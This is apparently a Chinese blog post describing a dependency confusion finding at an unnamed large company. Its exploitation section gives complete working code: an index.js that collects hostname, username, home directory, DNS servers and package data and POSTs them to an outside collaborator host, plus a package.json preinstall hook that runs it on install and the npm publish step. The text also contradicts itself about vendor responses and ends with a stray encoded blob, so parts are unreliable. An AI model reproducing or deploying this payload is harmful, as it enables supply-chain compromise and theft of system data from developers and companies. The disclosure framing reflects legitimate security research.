揭秘顶级公司中的依赖混淆漏洞:攻击手法与防范措施

4 阅读5分钟

概述

在网络安全领域,发现知名系统中的漏洞既充满挑战,也极具价值。最近,我在一家全球排名前1000的公司的软件生态系统中,偶然发现了一个依赖混淆漏洞。以下是关于我如何发现此问题及其潜在影响的详细记录。

免责声明

请始终遵循负责任的披露准则,并在进行任何安全研究之前获得相应授权。

攻击目标

目标是一家以创新软件解决方案而闻名的知名公司。他们的开发流程涉及管理来自不同来源的众多依赖项,以构建其应用程序。依赖项对于软件开发至关重要,但如果管理不当,也会引入潜在的安全风险。

理解依赖混淆

依赖混淆,也称为“命名空间混淆”或“依赖混淆攻击”,是指攻击者利用软件项目中依赖项解析方式的漏洞。在此类攻击中,攻击者可以发布与目标公司使用的内部包同名的恶意包,利用包解析过程来注入恶意代码。

初步侦察

首先,我收集了有关该公司的软件开发实践及其使用的依赖项的信息。我专注于识别:

  • 公共和私有包注册表: 了解公司从哪里获取其依赖项。
  • 包命名约定: 识别可能容易受到混淆攻击的任何内部包。
  • 依赖管理工具: 了解依赖项是如何管理和解析的。

我使用了针对 JavaScript 项目的 npm 和针对 Python 项目的 pip 等工具来检查依赖项配置并了解包管理过程。

漏洞发现

在分析公司的依赖项配置时,我发现了一个关键问题:

公共包与内部包冲突: 该公司的内部包与 npm 和 PyPI 等公共注册表中的公共包使用了相同的名称。这种重叠为依赖混淆攻击创造了机会。

(简而言之:发现该公司某个子域中使用的一个包是由开发人员私下创建的,但在发布网站时并未将其移除,因此攻击者可以在 npm 上发布一个包含恶意内容的包,最终导致远程代码执行或跨站脚本攻击。)

漏洞利用

为了测试依赖混淆漏洞,我遵循了以下步骤:

  1. 创建恶意包: 我创建了一个与该公司使用的某个内部包同名的恶意包。
  2. 发布恶意包: 我将这个包发布到了像 npm 这样的公共注册表。
  3. 验证漏洞: 我设法让目标系统尝试解析并安装这个来自公共注册表的、我发布的恶意包,而不是其私有的内部包。

以下是创建并发布恶意包的具体步骤和代码示例:

  1. 创建目录并初始化

    mkdir vulnearble_dependancy
    cd vulnearble_dependancy
    npm init -y
    
  2. 创建恶意代码文件 index.js 该代码会在包安装时收集系统信息并发送到攻击者的服务器。

    const os = require("os");
    const dns = require("dns");
    const querystring = require("querystring");
    const https = require("https");
    const packageJSON = require("./package.json");
    const package = packageJSON.name;
    
    const trackingData = JSON.stringify({
        p: package,
        c: __dirname,
        hd: os.homedir(),
        hn: os.hostname(),
        un: os.userInfo().username,
        dns: dns.getServers(),
        r: packageJSON ? packageJSON.___resolved: undefined,
        v: packageJSON.version,
        pjson: packageJSON,
    });
    
    var postData = querystring.stringify({
        msg: trackingData,
    });
    
    var options = {
        hostname: "vbaehzc9xjng7m42gnmgw5hvpmvdj37s.oastify.com", // 替换为攻击者的服务器
        port: 443,
        path: "/",
        method: "POST",
        headers: {
            "Content-Type": "application/x-www-form-urlencoded",
            "Content-Length": postData.length,
        },
    };
    
    var req = https.request(options, (res) => {
        res.on("data", (d) => {
            process.stdout.write(d);
        });
    });
    
    req.on("error", (e) => {
        // console.error(e);
    });
    
    req.write(postData);
    req.end();
    
  3. 编辑 package.json 文件 关键是在 scripts 中添加 preinstall 钩子,确保包在安装前自动执行恶意代码。

    {
        "name": "vulnerable_dependency-v2", // 使用与目标内部包相同的名称
        "version": "1.0.0",
        "description": "A Node.js module for PoC of vulnerability.",
        "main": "index.js",
        "scripts": {
            "preinstall": "node index.js" // 安装前自动执行恶意代码
        },
        "keywords": ["xss", "security", "poc"],
        "author": "anonymous shetty",
        "license": "ISC"
    }
    
  4. 发布到 npm 公共仓库

    npm publish
    

测试结果证实,该公司的软件确实容易受到依赖混淆攻击。如果被攻击者利用,此漏洞可能导致未经授权的代码执行、数据泄露或系统完全被控制

报告漏洞

确认漏洞后,我准备了一份全面的报告,其中包括:

  • 漏洞描述: 详细解释依赖混淆问题及其发现过程。
  • 潜在影响: 漏洞带来的潜在风险和后果,包括代码执行和数据泄露。
  • 复现步骤: 指导如何复现此漏洞。
  • 修复建议: 缓解此问题的建议,例如实施严格的命名空间隔离、验证包来源以及监控可疑包。

我通过公司的负责任披露计划提交了报告,并持续跟进以确保问题得到解决。目前仍在等待回复。

(报告中包含了来自亚马逊云、谷歌云、微软云、阿里云、腾讯云的回应,暗示这些云服务也可能存在类似配置风险。)

结论

在全球排名前1000的公司中发现依赖混淆漏洞,突显了安全的依赖项管理和命名空间隔离的重要性。即使是成熟完善的公司,如果其依赖项管理实践没有得到妥善保护,也可能容易受到此类攻击。FINISHED CSD0tFqvECLokhw9aBeRqqH/f3E8oZSVq1SrL9m8jIlFgHMxbG1W+xq9bPDMCT0BymfKBP1keUw/4/5XuYgGCVcqnfLSsCYxWcG6tv/Rwe+pqoTGw/+yN/RfErhQDmOa5Er7SW3VywYwIkxSbOalpQ==